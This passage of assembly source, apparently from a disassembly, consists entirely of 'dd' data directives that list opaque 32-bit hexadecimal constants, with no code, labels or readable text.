0AC5723E0h, 15C8944Dh dd 0B379F273h, 0F5D2FC09h, 1B513Ah, 707CD6BCh, 2C0E6BFBh dd 325FE136h, 938088BCh, 0F0C024B8h, 2E08A101h, 3A0E8760h dd 0F5202A19h, 5C3395h, 0FF42A668h, 0B64D66D2h, 4A37D727h dd 0D015F357h, 0D0093EAh, 0D217F168h, 974C5F0Eh, 0D88B1698h dd 0D17342B0h, 5A7E1C9Dh, 0C02C9E3Bh, 49258B26h, 39731359h dd 83A221h, 1ED6DEEAh, 422373Dh, 4D363072h, 0D1C2FBFCh dd 99E7A8DAh, 125B56CBh, 0D444E921h, 40653865h, 53CCD209h dd 0B272A631h, 45D8331Dh, 7226B953h, 0A73D0835h, 8A31E00Ah dd 231A9DD8h, 4A51F95Ch, 0B1EFA73Bh, 0BCC92FBh, 295C0493h dd 930919Dh, 65770157h, 603A5F95h, 0C6DFB700h, 7A87B283h dd 0C7D0B527h, 915D920h, 0B5F3805Bh, 7CEBFC79h, 7300D47Bh dd 0BE3693A5h, 4B9D8B9Fh, 2D1CFD51h, 58B778BAh, 78646FF5h dd 0D874AF78h, 68A8CDADh, 5DBC5825h, 6E568509h, 0A0A200DCh dd 473FA352h, 0C54EDD6Eh, 38E0B8C9h, 3D960387h, 0FDCBA7FFh dd 802022E8h, 6A5FF517h, 2CF00CE6h, 4E28B3F1h, 0C027E025h dd 1F993A8h, 3BB21E16h, 0A6981457h, 0FDE4762h, 0AE0AC0BEh dd 79706AE2h, 0DC2AB881h, 1E492EE8h, 0F3447F22h, 0AF5997h dd 48C203C9h, 0B0FFB50h, 40A671CBh, 60B08A95h, 0B51A7D29h dd 18A9AA60h, 375BB7h, 39E678A6h, 0EE00ABDEh, 19ED44EFh dd 62F3DC6h, 0F9A1857h, 7FBED226h, 2308FC40h, 5CC7023Fh dd 0EA599EBCh, 0C225DF09h, 0D79EAB5Fh, 0F4890196h, 2F55738Ah dd 47E67474h, 705ED2A2h, 40F8B7C2h, 0B52E11AAh, 66ABD871h dd 4B828358h, 2D7FCA61h, 0D94D73BCh, 0B2D9FE28h, 340AF00h dd 0F4F61DABh, 6D5900FBh, 0BBFD812Bh, 379D026Ah, 3A42014Fh dd 2AF898C6h, 2C821D1Ch, 77713310h, 58CC782h, 0E007B820h dd 0D4344B4Ch, 0C0349B0Fh, 76680CE2h, 19D2EDDh, 0E8191205h dd 2A9B475h, 800515A8h, 82D2E350h, 0E9D9DEC0h, 83E7B5DFh dd 21DC3408h, 586580B0h, 5FC12513h, 63A01900h, 0DADFCE2Ch dd 9D8495F3h, 0CB99BD23h, 0F15072F9h, 0E6608A57h, 977ED838h dd 3FDD6489h, 0E3AC178Dh, 63994B0Ah, 1240F73Eh, 9BFF2115h dd 0F2B69242h, 8919B109h, 0AA2D8C05h, 0A395C6D8h, 5FCAD8DAh dd 784CE6A8h, 9F630B7Bh, 0B974A9A0h, 558FCA6Eh, 0FF120124h dd 3104506Fh, 0A8CCF8AAh, 880F1375h, 0BB9E31BBh, 150E701Fh dd 0ED4A1E4Eh, 7CBB8485h, 59B914EBh, 0B043DE8Ch, 7D14B3E0h dd 22F170E6h, 9F71E4C9h, 1A33AC10h, 21879900h, 3DDBA52Bh dd 0AF2C2FD2h, 249762F2h, 854B351h, 0F189B512h, 3986894Fh dd 0CC037401h, 934FCBBCh, 0AB7DD8h, 493E19F5h, 64E5D2CCh dd 9EEEB77Eh, 0E4B5C77h, 219510A4h, 1852309h, 0B2B0D5B5h dd 0BFC80E2Bh, 2DBC68B0h, 0D0BF6F7Ah, 379AC4F9h, 2B7FA1FFh dd 456D87DDh, 50F18516h, 0AD278AFDh, 12272C55h, 278521BDh dd 32D44B38h, 5B502901h, 0F8B2DE9h, 9ADD29B3h, 4814D71Bh dd 0BE41598h, 15A51FCAh, 1B92FE14h, 4AF09EAAh, 0A04DB892h dd 0F7E856A0h, 35A36E3Eh, 0F3FD38C2h, 18C59D82h, 7252535Fh dd 5B00AF7Bh, 510FDB1Fh, 0B9EF0B2Eh, 0F55607BDh, 8D3E00F4h dd 85B01516h, 68252C65h, 7D19E296h, 0F989A90Eh, 37DFD46Ah dd 0CE384FDh, 0E2D9099Bh, 0A7E056DDh, 9DEC7DEh, 0A8DF2CE2h dd 0C6074222h, 82D0B402h, 0D7AE5EEFh, 854EBBB4h, 0EEC58388h dd 0C85F4FBEh, 2E02CA44h, 15BC6912h, 7016FBDEh, 5300CBDDh dd 0C7A964E7h, 12892F16h, 0E618B185h, 0DA8A04D8h, 0F3E6E380h dd 5AC18650h, 0BC8AB91Eh, 2179317h, 58F394CEh, 596C0957h dd 80275B7Dh, 53BB8B95h, 0E0F67022h, 0C5CBCE25h, 1681164h dd 0F16FD781h, 2F2374CEh, 407E0925h, 0A5887325h, 96C27B6Dh dd 18615F4Eh, 3957D2D4h, 0AB5111BBh, 6E7BE1FFh, 0D8371F72h dd 0DA0CF404h, 98A16CB8h, 5B55C204h, 0BF4170EDh, 6A3D6314h dd 75CA4ADBh, 85318871h, 79308D2Dh, 463BC4BCh, 25F460FCh dd 94792C41h, 0B3810F09h, 1BB8CCD2h, 25F6E4Ah, 54FB5BAAh dd 2548D637h, 1941168h, 0D10A5397h, 0B54FAFA4h, 84159121h dd 0DB9701Eh, 0A016B74Eh, 74ED552h, 9771CAB7h, 97847B63h dd 2CC8531Bh, 2F1900E4h, 14083773h, 600B20Bh, 75F0340Ah dd 4AFBF88Fh, 5F83F013h, 189EC19Dh, 0FAE18D11h, 4BCC9004h dd 8702092Fh, 0A175D280h, 0AA08BF0Ah, 8164B5DAh, 4CB7F086h dd 0EA7C8D6h, 5D881A5Bh, 0DD51005Ch, 4D85089Eh, 724AE153h dd 70C25AFBh, 3570AA5Bh, 6F3B01EAh, 0E4AF1D1Ah, 7D8B30A3h dd 57BC204Ah, 31FAB3E1h, 504DA858h, 0DE5524EDh, 0EF8135A2h dd 28584EC4h, 709B8026h, 0FE694CC0h, 23EFCEAh, 675BF610h dd 43C073CFh, 599532A9h, 0A64DC930h, 77191247h, 6E56089Ah dd 0E912B46Dh, 0C3E90109h, 0BA600001h, 133619E6h, 4312353h dd 0AC3AC4EBh, 0E1494655h, 242EA5FDh, 0F291B63Ch, 0FD7122h dd 817EF96Ch, 0D60005DAh, 74B5240Bh, 25F35A0Ch, 7AD2E7C6h dd 0D89853B5h, 0F25E1E6h, 2025D087h, 0F84B01F5h, 0FDEA698Dh dd 9F55440Bh, 90199587h, 824B5D80h, 55178659h, 0F5979531h dd 0D4BB8D44h, 88389B18h, 0A541C01Ch, 9B00E009h, 61928106h dd 342958B3h, 0AC65359Dh, 2D12665Fh, 25819583h, 0DA507BBBh dd 0EE012541h, 0FB96A876h, 0F081B8BDh, 882D2A8Ah, 32F128h dd 0DE27D668h, 539F6082h, 47D71EA9h, 19615953h, 2902E876h dd 557D40DCh, 1314D004h, 894A33B8h, 0D86F2BD3h, 0E8E46600h dd 0E76D5D31h, 61FBAE4Eh, 22DC9CEh, 11987F50h, 0D3B0E37Bh dd 0B6BD0D02h, 77CEAF47h, 0E57B80A9h, 49AFD170h, 3382F328h dd 2BF7F1BDh, 0C094CD0Ch, 0BC8B0F35h, 0EE13F4Fh, 0FC3B83DDh dd 0F9B8D257h, 0A837B9B5h, 89D62776h, 6795D850h, 9E4A16ECh dd 51F4C004h, 5E8D9509h, 4D08E60Ah, 0BC9DBCD7h, 0BD171625h dd 1888BA3Eh, 0B8281FC0h, 60C42D63h, 4692D54h, 51D1A584h dd 36603161h, 3479725h, 0BD4C9211h, 9E17ADC0h, 7B004742h dd 36C3EF2h, 29AC9837h, 62FFE67Ch, 3CF40471h, 4373F4h dd 48EBB9FAh, 0C4674AE3h, 16505B95h, 2C37EE84h, 21FC10D1h dd 3D009D2Eh, 4FE2A804h, 584F200Ah, 0A700D649h, 4CAD028h dd 40B9D47h, 39FE03E5h, 92C1AC06h, 2BC88F9h, 26A6DF4Bh dd 0A3117B2h, 9FDD25E0h, 72DCBE1h, 5396DF60h, 0AE82260h dd 8500FF7Ah, 7D6E94Ah, 985AC126h, 3E40BFBCh, 962FFE8Bh dd 82CDC52h, 5B1C07ADh, 0A7515349h, 558B5FF4h, 19946A35h dd 13BB807Bh, 5F6FD2BEh, 75F2040Bh, 50BD5212h, 0F16BD2h dd 8E2ECE2Dh, 4EE47611h, 78A8238h, 755A9A5Ch, 4E254D35h dd 0C0279FACh, 9E732973h, 70F8DF89h, 484FB59Fh, 1129D76Bh dd 0C89647F8h, 11BD0160h, 2644971Fh, 0C00D9A6h, 1AEE9CA0h dd 0E4B532D6h, 0FA1B01D2h, 0FFB914Bh, 25C1638Dh, 54CEC2DFh dd 5700DC34h, 0B9781F02h, 483FDD9h, 9D8B40C7h, 3E39BA0Dh dd 1DA8736Dh, 2BF3B503h, 0A4F511DFh, 0B315EC2h, 2E19BBC1h dd 4280DC75h, 3B7EC51Eh dd 383596BFh, 94997DFh, 6D6BB159h, 0C53440ECh, 0FD2F125Ah dd 5EE61ACEh, 0EB86444Ch, 16B3C4E0h, 0E0965BB1h, 0BB7160F3h dd 8F9C2F3Eh, 0B661FFB5h, 402CEE2h, 0EA781AB0h, 5D5257h dd 3D92C5BCh, 0E0FB8783h, 857FBED6h, 5F68FB07h, 0F8CF10E6h dd 0CB0481BBh, 24BEC559h, 0F8D7DEB8h, 0C70925B2h, 38781CB1h dd 0AC6EFE4Bh, 0F261B500h, 0C10D4BCh, 0C056364Ch, 70449479h dd 0E31F04B3h, 0AEC90613h, 36CD6821h, 0FF98C0h, 0EBE16AA8h dd 93706450h, 0D3EF5302h, 57A9F0D8h, 0ADDC2842h, 0E6BB0FBAh dd 3FE636E2h, 104802E0h, 62B88E2h, 1C2EC0A0h, 0E05E2610h dd 34B80D6h, 1715F38Dh, 93BCFDA9h, 0DA73A53Ah, 795213B1h dd 63A5D5Fh, 60F7ED75h, 8529CF49h, 0B5D9FABDh, 5EC9E25Bh dd 0E007D48Fh, 47351328h, 1632B1E1h, 2389C489h, 0BFE00474h dd 7427F8C6h, 0E038AD62h, 0CB3FF77Ah, 339F504h, 0F90536F2h dd 146DBA05h, 2816A2Ah, 0E909ADFCh, 0E005D07h, 298ED0BBh dd 0C18B0816h, 139E56Fh, 0F5EF2570h, 3DDF37EAh, 7E470032h dd 95903ABBh, 91502F2Fh, 0A77B9282h, 0E5A45AD3h, 6EFA60BFh dd 0BA5B509h, 0F0AC7B95h, 7AFB146Eh, 3019B308h, 0E8EBCBD6h dd 90D35B9Bh, 9119A92h, 0D4843FEAh, 859160FFh, 410E453Dh dd 0AD99CDF5h, 0C0126DD7h, 0EFB658Ah, 82BD664Ah, 20998582h dd 0B923DE18h, 0B014B560h, 3A4B90FDh, 9A3FE09Dh, 0AB6F8051h dd 9BFF549h, 0E273062h, 0BB80E871h, 2FE2B517h, 0B0D15FFFh dd 2B4409FCh, 0B4F3B060h, 31F067A4h, 2E53ECB8h, 8B80DD2Ch dd 0DBA1463Dh, 6A4A01A3h, 0D78340B9h, 1FC99600h, 68BB9031h dd 0B756F0FEh, 8F77460Bh, 13D6B40Ch, 0A2BC4503h, 717CC85Ah dd 0F3C99C01h, 9D0B8C7Fh, 5FFED26Fh, 91E4B5DFh, 54558117h dd 206E56F9h, 48C94A2h, 47AC1117h, 0A1B3A212h, 0ABEBD587h dd 81B837F5h, 0F2E98EB6h, 0C3205AB4h, 81CA84F5h, 0E62356ECh dd 7EDF007Dh, 0E5D8CE2Fh, 5B5B78F2h, 1AB21FA6h, 5F88730h dd 0DAC82303h, 17D2E876h, 5D0E17B3h, 58614553h, 30ECE313h dd 0D01FFCD2h, 20EE4EE7h, 55D9BFBEh, 0EC21B025h, 0CE82BD12h dd 24FC1815h, 0B28E71C0h, 2E9E39CBh, 0B95E1B27h, 8CB75FC9h dd 2DF6D798h, 4B860257h, 0D88A80DDh, 100DE5D5h, 0EA6A262Ch dd 9209A21Dh, 40B77C65h, 0C8CA3C89h, 179D7B00h, 0E9BE788Eh dd 42CDB202h, 0EDB50920h, 993DD50Ah, 0B70FB104h, 234DDCABh dd 1D9C0141h, 0DC8A00B0h, 0E4F970E6h, 0ADBF7102h, 5C289A4Fh dd 0AF0A93D3h, 95619E37h, 0DC6B26A5h, 5BB0DED2h, 5B526016h dd 0E83B7D89h, 88ABE4CCh, 22A08131h, 0E5348D01h, 0AFC8A913h dd 2B70276h, 4D287ABFh, 5AB7877h, 799531C8h, 0ED5FAF22h dd 0D76BBF45h, 0A1EE61AFh, 0E1AD0827h, 0C8668212h, 15C9BD16h dd 14C8D7BCh, 0C36D778Fh, 0D07D7AE2h, 882BAEh, 0D343015Bh dd 66E0DE2Ch, 514AE37Ah, 8CA63B25h, 0DC943106h, 5ED9025Bh dd 0DD6BDA94h, 85FF60C4h, 53F91464h, 0EA570149h, 0CE795535h dd 86977C24h, 41562AD2h, 222F5FA7h, 2D2F3214h, 0B76A36A5h dd 615200F6h, 1424FC71h, 0BB4007B7h, 20A64F72h, 6F7B428Ah dd 70E3DA20h, 0EF058AADh, 0E295129Dh, 6072842Ah, 1E73AC12h dd 75C809DBh, 0DF808235h, 0FE046A84h, 23256BAFh, 0E72C0516h dd 0A2CCFEB7h, 75EF860h, 2FB961FCh, 0B7FD0909h, 0BD98029h dd 0D69345C1h, 0CEB7CEC6h, 61C92FD4h, 0C3A5F7F9h, 2027E23h dd 3359A30Dh, 6D7DC02Bh, 63BCE084h, 0DE00C6E8h, 0FABBFD5Ah dd 0BD6F2A72h, 113890E0h, 7B95BA70h, 48DDDAA0h, 5C5291ECh dd 2916430Ah, 0B00DE925h, 0E155BD8Bh, 4BC48A2Bh, 80816A9Ah dd 6002BCC0h, 0F4F35D6h, 0EBE24237h, 0DFCED567h, 0C825AA71h dd 59290909h, 8D9D70EEh, 5037BB86h, 690582BBh, 2629BD09h dd 56BD38AFh, 6FAA30D6h, 484839h, 0F49B7EB3h, 2E016F55h dd 0A54CBDB5h, 3A9746E6h, 0D6837611h, 80E1FF04h, 0E1B8ABD7h dd 3E0428A1h, 1225B17Ah, 1A09DBC5h, 0F4E35C04h, 5453AA13h dd 525D5ECh, 0B318F9C7h, 0B7896055h, 617851C4h, 4BFD38D0h dd 4489008Ch, 9098600Ah, 1558DF0h, 0E180DCB5h, 576E045Ah dd 6F28AB4Eh, 70D70481h, 0BD36B3DCh, 1707C0Fh, 785C73B7h dd 0C2B58B47h, 1CB55521h, 8F891B91h, 2BD34077h, 5A52904Ah dd 5AD3FDB5h, 7750F2h, 9BB32C96h, 0A4BAD2EBh, 61997495h dd 2F5FF8B7h, 0C41C3434h, 0D45F3150h, 7A39F810h, 44407C9Dh dd 97A2BB60h, 591A04Bh, 51728A95h, 0A0B0C313h, 42688009h dd 58CB023Ch, 0E8015F75h, 265401BDh, 427C28A7h, 0D6A656ADh dd 0EA7730BFh, 0CA8C09BBh, 100429A5h, 9A8AEBE9h, 8E15C84Ah dd 9A715700h, 0CC82443Eh, 0BB5801FDh, 1D6B6AAAh, 86EA6036h dd 0B9601A44h, 29E087F8h, 0C950E29Ah, 9D7A467Fh, 0B014802h dd 9E96100h, 9BBDB702h, 10ED0500h, 25116D8Fh, 835EFE8Ah dd 0A1DB5C1h, 0BD9A4E0Eh, 7739C181h, 0E5127067h, 88D97EFFh dd 92DDA66Bh, 9573A5B2h, 6A9BE86Eh, 2F73C58h, 0E205EEE1h dd 0E4F7891Eh, 2DE1805Fh, 0A71A971Ah, 25509853h, 12897E72h dd 0BEB509B3h, 880FC1C1h, 0C1ACA93Bh, 0A2CD83E3h, 9267603Ah dd 0FF02A8DAh, 69A9BE38h, 0C8E74DF9h, 0F750607Bh, 4612E715h dd 0B5E1A8BCh, 0C281543Bh, 2466602Dh, 0B9004DB9h, 0CB5DAFACh dd 6AB402D3h, 6158DAB5h, 0BF10A270h, 855E5C60h, 0FFF8093Dh dd 0F592CB71h, 7A7F39AFh, 0F72A8F89h, 259E03C3h, 80EFAAAEh dd 0DB5B39B3h, 6A3CAC6Dh, 0C59F7650h, 0A037006Dh, 7341B011h dd 77DF2100h, 82F3D63Dh, 0B547EE71h, 1F90E871h, 8EFB4878h dd 2B08E593h, 1523F56Bh, 4A9AF10Ch, 0BFE8C090h, 222DF79h dd 0DBBC7CEh, 81F8C912h, 6FA213B7h, 0B821F990h, 18330091h dd 5F6FE686h, 6E4DF0E7h, 5C618971h, 0AC2212CCh, 0A582F4BAh dd 51A556FEh, 85872C17h, 65AF01C1h, 8908FE6Ah, 0D4223702h dd 0EE71B832h, 633EC390h, 22418ACBh, 42F89D0Ah, 32CE354Bh dd 9D9FF728h, 380FB37h, 88A82DFFh, 654B168Eh, 0F526BC92h dd 152593A8h, 5EA52165h, 0CC12D47Dh, 0FBB7B80Fh, 4096A5Eh dd 5030B83Fh, 0BB6B8CBEh, 0AE57C909h, 9D04AA22h, 894A2CDEh dd 9050B0Eh, 17E45FEDh, 59507660h, 29B1644Ah, 1BC7C53Fh dd 0E085E12h, 2F2EC585h, 6113F235h, 0AD6624AEh, 5C62E8FDh dd 0DF1F6EA5h, 14CD65E5h, 0B3621464h, 0B88A9055h, 24D316FBh dd 636BAE7Dh, 84701C38h, 719F7A00h, 0DB4C2A52h, 0FC3308BAh dd 57C9DF8Bh, 0F84B1A64h, 6660D732h, 0CCA300F8h, 7AC67C8Ch dd 44002799h, 72B3F565h, 328D2957h, 58340F15h, 6104045Dh dd 0B64A32B8h, 0BBDE071h, 340197C5h, 6A399D03h, 0B6A52EE7h dd 0B7DB1235h, 0E71653AFh, 0D7F9B22Ch, 61F3EC0Bh, 2F98DD0h dd 0EE7B63FDh, 14636BFh, 0B4195B04h, 9FBD21E8h, 178C1AACh dd 0BF830398h, 98F5784Bh, 1C6BCB12h, 0C13A205Ch, 79223CA1h dd 0C098785Bh, 1EBBF381h, 81274F18h, 6BB937EAh, 0E4F08Ch dd 58AF858h, 8C175B06h, 5F4ED977h, 2FBD6FE9h, 0A692E2BCh dd 0E5BD129Ah, 0DA2A02B1h, 0C716C815h, 816BF5DAh, 2E44C828h dd 8B285328h, 18717610h, 0B3569602h, 0A2615F9Eh, 7C2BCA81h dd 41794B5Eh, 0A3829B68h, 5509B75Fh, 1791D3B5h, 0E8BB2681h dd 173D2EEEh, 1310F37Fh, 28AE8D85h, 0FC02BFBAh, 513C264Ch dd 53E0565Fh, 420956F4h dd 0BB14D765h, 7BF2F2EDh, 0E0F7C65Fh, 583C97A0h, 0E4D0E025h dd 843D2F66h, 0C3FE5294h, 7A608B04h, 0CAAC9073h, 6E2B5h dd 0D90D2B9h, 7DE5FE17h, 0F42F1C98h, 324065FFh, 8B2ECFB2h dd 1DDE03C1h, 41708B33h, 0E21DFFB3h, 0A2213A46h, 0CEC8B09Dh dd 4FD200DEh, 5587CD06h, 19254710h, 68D16D78h, 5E96E098h dd 0B45F4394h, 0BF50A430h, 4B4113E7h, 0A0BA8554h, 0ABA6FE66h dd 0F87FBF00h, 95CB1F4Bh, 318F1D24h, 301D43DAh, 6DC8036Bh dd 0D3B56A61h, 0FC5E78A0h, 9C2DEB09h, 155100A5h, 5B3A0EB5h dd 616F6Ah, 4F6FD6C1h, 0A0053E3Dh, 98FB719Eh, 0D551BFFBh dd 58FE8A89h, 0C38013E9h, 200EEF8Ch, 0F5A69250h, 1E85BBE0h dd 0EE91211h, 80D4AD1Fh, 6677E274h, 4F040DD8h, 0C77996EBh dd 2917AAEh, 1BFD2161h, 1637741Fh, 9A7AFA6Ah, 371CD802h dd 9AF7B70Bh, 0B587F0E5h, 0D42C8065h, 0D70AD109h, 35976A16h dd 48A30240h, 0C45DE60Bh, 0FEAC391Ch, 16D5AA04h, 0ECF3BA6Dh dd 25A09D3Dh, 2BB5F38h, 0FF36D666h, 8BB7D7D1h, 0AFC76802h dd 514E5C4Eh, 6F5FC2D8h, 0BBAE402Ch, 7205BC90h, 30A108DAh dd 0AC10481h, 0F273F32Ah, 95A0301Bh, 8892B04h, 30AF5686h dd 0C9817F2Bh, 745DEE00h, 996D4714h, 58970030h, 0D86E28F5h dd 368AC05h, 82A5E486h, 0D18F0F53h, 0EFA2A5BCh, 5004F6E4h dd 0C10864ABh, 7990C8E6h, 9748B805h, 0AE026884h, 0B41A472Dh dd 0A36CDEC0h, 0FD028631h, 0E9B989DAh, 70A65CC4h, 0C982FB7Bh dd 742EDEBBh, 0A0C2B65Ah, 55DF4Fh, 0FECB52D8h, 29419B31h dd 2083F19Fh, 31089CB1h, 51869F6h, 2E270CACh, 0BF50B55Ch dd 885216BAh, 0B8A6B920h, 6A0C8C18h, 7F47214Bh, 0E2204AF1h dd 3FE69D5Dh, 1222FCDEh, 1CBA7F71h, 81100016h, 845CCCC7h dd 0B270E5Ch, 0D3E402D5h, 0EC397981h, 0A2482287h, 268510FAh dd 0C2F8E84Eh, 5C95CF80h, 5253C455h, 1690511Fh, 0E5BAA15Ah dd 0D7D90709h, 0B06184C8h, 92E78E1h, 5C1D13DEh, 0D6FB1F52h dd 1F4FC871h, 40036700h, 91D65B17h, 3C4E12D8h, 1877E421h dd 0B1FD048Ah, 0AA221253h, 5C6909D2h, 8157E07Fh, 0A70B52C3h dd 855B1847h, 0F41E827h, 0C80E45EAh, 0B5A4A03Ah, 0F82E2A45h dd 1AAB93DAh, 0A30038B6h, 0ADFCD7C3h, 79857E4Bh, 0B84AAFA8h dd 0D99D1569h, 0E1B31FF9h, 0DE8AD105h, 2827E5E2h, 431374F3h dd 95C372BBh, 0E95BA0A1h, 0A05978A0h, 7FDCE2A3h, 2305013Bh dd 861CF9EAh, 5EDE69F2h, 5E08E682h, 2B4D62C2h, 0A9D52907h dd 0B01852FBh, 8D6F5AAh, 1EEE30AEh, 27005FAFh, 0F41CA7BAh dd 25C4FFA4h, 8FCBB42Fh, 8D014194h, 49122299h, 0CA07542Ah dd 0FFF68BF4h, 0F37E9503h, 70959D62h, 3569540h, 0EA28BBE0h dd 500C7EBDh, 48FE20A5h, 6C4036F9h, 4DBD3933h, 0A331E4A5h dd 87DF02Bh, 13851497h, 0EFE87A5Bh, 0BB0ED16Fh, 8BAE63F9h dd 0E873FD96h, 0D3BA17FBh, 0AE2312F5h, 1923A16Bh, 0A49A1700h dd 2A96F615h, 8DCBDCB9h, 56856070h, 9714C4h, 4FCF819Fh dd 49F93BDAh, 5FF55182h, 0B755C02Bh, 0CD80012Bh, 68065C51h dd 1385100Eh, 0A4758B27h, 0A3B861ACh, 9112F490h, 0D381E612h dd 7B25C8h, 1F84685Ah, 9EF21B4Ah, 0C49AB70Eh, 88C2058h dd 4BDAC3D3h, 1624BCDFh, 78A7880Dh, 0CEE0B9B2h, 760B2CABh dd 0DD4CED89h, 35777B0Bh, 9ECCA528h, 37951412h, 0E9CB83EDh dd 99088671h, 0DF723201h, 0E46BCB5Ch, 42B00085h, 8CDCED19h dd 0B2009BECh, 64DDC776h, 4BC5D42Fh, 0D2D88A3Ah, 0C00B4F2h dd 8D88BDD7h, 650B7B30h, 5FD66382h, 0BB02CE14h, 1E5631B9h dd 9927E5Bh, 0D2717ECEh, 5756FA4Fh, 0F570BCD3h, 2B060955h dd 3ECAEDE0h, 0FB452A74h, 977496E9h, 2EFCD811h, 59EDD975h dd 714AB5A8h, 176A2CAEh, 950D508Ah, 15EDBE94h, 0D816A04h dd 0D9E2A0B8h, 6C616B2Ah, 4FCC2A72h, 8E8600F0h, 0C802F639h dd 7C077F23h, 0D906A34Bh, 20AB6054h, 1A043F41h, 0DB5A2407h dd 86815CB8h, 95303A63h, 0ABB358FBh, 0ADC2C54Ah, 0B4B8E8h dd 4A0F0E02h, 0E93D43EBh, 73A210EFh, 0C9E10058h, 0A440FA8Eh dd 0C5122FFBh, 0E8E171E3h, 5A49D820h, 22E3B318h, 0A1D89D39h dd 617BA495h, 0C883DAABh, 0CC87C01Ch, 1E3E5F50h, 886392C4h dd 14ACC2B9h, 0F14B518Ch, 98DBE60h, 504AF309h, 40744FFDh dd 0AB070137h, 4D13615Bh, 5407AAEh, 858913DBh, 0BDB788EEh dd 522D120h, 587D068h, 1FCB8106h, 0B5C03F0Fh, 0F71A842Fh dd 9175E161h, 0B254A62Ah, 0A643018h, 0D72CBA12h, 0B26DD4E1h dd 0E84231ECh, 0D791AF02h, 0C359F2A8h, 1CE26300h, 7A31B61h dd 0F03309D6h, 6C8EB27Ah, 0E246F781h, 0B0A37021h, 0EABB0140h dd 307B2510h, 6F55BFC2h, 2B1F6147h, 200BC14Bh, 3A9726E6h dd 4034FCDEh, 15393F35h, 8BB6A91Dh, 0E0895300h, 25A7D01Bh dd 0BDC48372h, 0DE1BBCh, 7852BF6Ah, 72FADF2h, 71093978h dd 552EC1F1h, 384B14CDh, 2E41C45Ah, 2CE0553Fh, 0C7A2DDDh dd 0D4D55C95h, 1AC11BBCh, 723C28EEh, 0BB071820h, 10DA7337h dd 0A6EA46B4h, 2D7E06Ah, 5349019Fh, 62C745FDh, 1C076F89h dd 34651D7Bh, 25C26FAAh, 696A7E08h, 56CD9AD5h, 2F7E6AC7h dd 6804CE72h, 4C7A03B9h, 8346BC93h, 0DBAABD65h, 612ACEBFh dd 0F9900823h, 0F2A3342Eh, 0C97E6FA6h, 97E91C05h, 0EF015CB5h dd 0E27FE905h, 352E8C6Ah, 0D5004C71h, 53B9D2D8h, 4D04E6ADh dd 0DEBC8561h, 0E4450817h, 159D4702h, 7AA45C2Eh, 0B12E1D4h dd 368E19E3h, 8C1BF810h, 0E63548h, 2DF8C154h, 0C4AAB33Bh dd 1317F990h, 0A17561ABh, 5AFD0E16h, 2B8DC0A4h, 365DAE1h dd 535FBBCBh, 0FFD4603Bh, 0DBEAA725h, 4870C072h, 4BB363CEh dd 2210CAB2h, 3490B56Fh, 7905599Fh, 91FAF9B0h, 0A156FD2Ch dd 0E100519h, 4600412Dh, 0FAEB81E6h, 0B5539ECFh, 0BF50E645h dd 337F05A6h, 0AB31819Dh, 0B02C479Dh, 0E153182Dh, 64181C79h dd 0D0883A00h, 0A3D108EAh, 0E9B32584h, 0BC2EEEh, 483E01D4h dd 6E6199DCh, 0B56720D7h, 25601244h, 347E81B6h, 4097D12Fh dd 385FDA43h, 7188F09Dh, 4CA79A61h, 27254509h, 0D897704Eh dd 0B83930A0h, 5777E08h, 0E88D304Bh, 97195720h, 0B956BF89h dd 161446D6h, 62BFF97Bh, 0F87D9D93h, 0CF99958Ah, 0D2F6A550h dd 0B556D2EAh, 3EE63BB0h, 1BC4FBF0h, 9D74A416h, 4DE36BEBh dd 0BAE3CC34h, 0BD064AE9h, 177DFC25h, 0EB79BF97h, 36E34C53h dd 60D8C24Ah, 79B98EC0h, 0F95B2A27h, 0E95C2D38h, 0A9346EE3h dd 392C76BCh, 800A68Fh, 5A1F5463h, 56018400h, 7F269DD8h dd 61E9F319h, 0DA02742Fh, 88AAD642h, 0F7288085h, 814ADFB1h dd 99A72FBCh, 77190D8Bh, 484AFEB7h, 0A70B3D57h, 5F4332DDh dd 0DA5062C5h, 0FBC8034Ah, 10180D43h, 3CEF80D8h, 7A20964Ah dd 2E362576h, 15D9928h, 505B2CA0h, 76376C51h, 0BD239605h dd 6FAB02D1h, 1C2329h, 8A8435BEh, 0C91216E9h, 71F3DF25h dd 0E6B32904h, 0D3E7B9F2h, 0F48007DAh, 1AEA0A34h, 0C5FD8A25h dd 0AD5A17E7h, 0BE0C0C7h, 5AF59ABEh, 542BA72h, 0F5708C20h dd 0A813D746h, 79EFFC58h, 9A74A8ACh, 0ED955B90h, 0A4F2C2EBh dd 2D6D44E0h, 958AB796h, 5751C305h, 0D22A6E31h, 0CED55FAEh dd 843597D7h, 0A035F203h, 42587250h, 0FDBD5E23h, 0AD01CBFCh dd 0D37DB32Eh, 8470AC66h, 0DF0169FDh, 5C255CD4h, 0A5B55A4Eh dd 6D289A80h, 1E9EA5C4h dd 0E756AAC0h, 5FC391F5h, 9266F7C6h, 70771497h, 0E66BE151h dd 0B34AF055h, 0DAE701D9h, 0F581F3EBh, 96342FB7h, 0C6C9E4F8h dd 25F4717Eh, 7CE5D3FFh, 358D0983h, 0E914160Bh, 5844B8F2h dd 1B75111Bh, 0DE4CC124h, 0E94D7D12h, 6051920h, 0AF60706Bh dd 2BE98901h, 0D8B0F520h, 0C0022B6h, 697F1333h, 0DF738Dh dd 42D6EAC9h, 0A135512Ch, 2922C800h, 889E324Eh, 0FC9000AEh dd 5EF208E6h, 53176B48h, 0FA0CBFh, 13ABA97Dh, 0E25B71B6h dd 144B30AEh, 0D30E50B2h, 0E142A02Ch, 21D641AAh, 44AD0F80h dd 1DFA1032h, 0EA910E18h, 3BFF6819h, 0C3806EA6h, 0CCA573ABh dd 100074ACh, 0BCDAB452h, 7D7E984h, 0B14F0A3Ah, 90AA90D4h dd 7009BB3h, 0EBCA13F1h, 3049FD7h, 230117ABh, 2DF1D50Dh dd 4920F00Fh, 44221D00h, 0A7849A2Eh, 0AA57188Fh, 10CD81D0h dd 0D7285403h, 82E05C11h, 29A4A56Fh, 817C7006h, 8E3E62Fh dd 1204FBA3h, 9601D108h, 7988EAFAh, 7543007Bh, 0AC477F99h dd 0ADF24153h, 64B4D403h, 0FE8502h, 0E1F35C51h, 5A6E4D1Bh dd 906C0A00h, 0BCE346Fh, 899E0073h, 0F4581E30h, 5073CF77h dd 0E9000E90h, 47246D4Bh, 55CF72Fh, 0FAD7F103h, 6BE0AFE2h dd 0EFC903EBh, 9B80A87Dh, 810DA5F0h, 528AA60Eh, 92D0E3B7h dd 9769820h, 0B2FD03A0h, 0FA1EE562h, 0B2BC9631h, 20F44C27h dd 0BA700001h, 0C3B5ED6Bh, 970E326Ah, 408CEE3Eh, 25C0F812h dd 0A1C530BAh, 1628913Ch, 5CBE5001h, 0A2867DFAh, 